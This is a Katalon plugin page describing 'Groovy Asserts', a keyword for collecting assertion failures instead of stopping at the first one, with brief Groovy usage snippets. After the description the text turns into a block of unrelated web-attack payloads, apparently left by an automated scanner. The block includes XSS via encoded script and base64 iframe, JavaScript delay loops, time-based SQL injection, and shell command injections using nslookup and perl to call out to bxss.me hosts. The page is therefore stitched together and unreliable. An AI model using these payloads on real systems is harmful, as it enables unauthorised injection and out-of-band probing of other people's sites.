More than one groovy asserts in a single script IF the first assert failed, the execution was stopped. This plugin collects/catch all the assert exception summary. instead of soft assert, we can use this plugin.
Install
Groovy Asserts
By installing the plugin, you agree with
Katalon Plugin License Agreement
assert a == b
if any exception occurred in the above groovy asserts , the test execution also stopped and should not able to continue the test execution.To overcome this we can use this plugins.
call the keyword by using the below code sinppet from the test scripts [def assertResult = CustomKeywords.'com.maxval.plugin.keyword.asserts.GroovyAsserts.verifyEqual'(a, b)]
//Collect the assertion Failed summary def summary = CustomKeywords.'com.maxval.plugin.keyword.asserts.GroovyAsserts.assertSummaryCollection'(assertResult) if (summary != null) { assertFailedSummary.add(summary) }
Finally we can define the test case pass or fail //IF Any asserts Failed, marked test case as failed , Else test case passed if (assertFailedSummary) { KeywordUtil.markFailed(assertFailedSummary.toString()) }
Visit Katalon Forum for Plugin related discussions.
%35%35%35%3C%53%63%52%69%50%74%20%3E%36%61%50%37%289064%29%3C%2F%73%43%72%69%70%54%3E
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9407'>
'+'A'.concat(70-3).concat(22*4).concat(99).concat(81).concat(117).concat(86)+(require'socket' Socket.gethostbyname('hitok'+'zshmudgff5ca8.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(103).concat(78).concat(121).concat(65)+(require"socket" Socket.gethostbyname("hitbj"+"vkfwnizx111b5.bxss.me.")[3].to_s)+"
"+(function(){if(typeof xYWfO1==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xYWfO1=1;}}())+"
'+(function(){if(typeof xFY7RX==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xFY7RX=1;}}())+'
+(function(){if(typeof xZhZ3c==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xZhZ3c=1;}}())+
".gethostbyname(lc("hittq"."xpypqsgy11c43.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(85).chr(112).chr(89)."
(function(){if(typeof xWVwnq==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<10000);xWVwnq=1;}}())
'.gethostbyname(lc('hitsn'.'xtzgbqcwc56b6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(71).chr(101).chr(73).'
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
;(nslookup hitqmaoxppibue43c9.bxss.me||perl -e "gethostbyname('hitqmaoxppibue43c9.bxss.me')")|(nslookup hitqmaoxppibue43c9.bxss.me||perl -e "gethostbyname('hitqmaoxppibue43c9.bxss.me')")&(nslookup hitqmaoxppibue43c9.bxss.me||perl -e "gethostbyname('hitqmaoxppibue43c9.bxss.me')")
`(nslookup hitamxtxkqqwu6a0b4.bxss.me||perl -e "gethostbyname('hitamxtxkqqwu6a0b4.bxss.me')")`
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
|(nslookup hitaegieairkc83982.bxss.me||perl -e "gethostbyname('hitaegieairkc83982.bxss.me')")
&(nslookup hitbkfdpafdmc58737.bxss.me||perl -e "gethostbyname('hitbkfdpafdmc58737.bxss.me')")&'\"`0&(nslookup hitbkfdpafdmc58737.bxss.me||perl -e "gethostbyname('hitbkfdpafdmc58737.bxss.me')")&`'
$(nslookup hiteqiakxdown18927.bxss.me||perl -e "gethostbyname('hiteqiakxdown18927.bxss.me')")
(nslookup hitsryuhdxlou8945e.bxss.me||perl -e "gethostbyname('hitsryuhdxlou8945e.bxss.me')")
|echo twwuer$()\ uhddry\nz^xyu||a #' |echo twwuer$()\ uhddry\nz^xyu||a #|" |echo twwuer$()\ uhddry\nz^xyu||a #
&echo dvyuie$()\ focjcg\nz^xyu||a #' &echo dvyuie$()\ focjcg\nz^xyu||a #|" &echo dvyuie$()\ focjcg\nz^xyu||a #
echo wtrkta$()\ qitqfr\nz^xyu||a #' &echo wtrkta$()\ qitqfr\nz^xyu||a #|" &echo wtrkta$()\ qitqfr\nz^xyu||a #
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg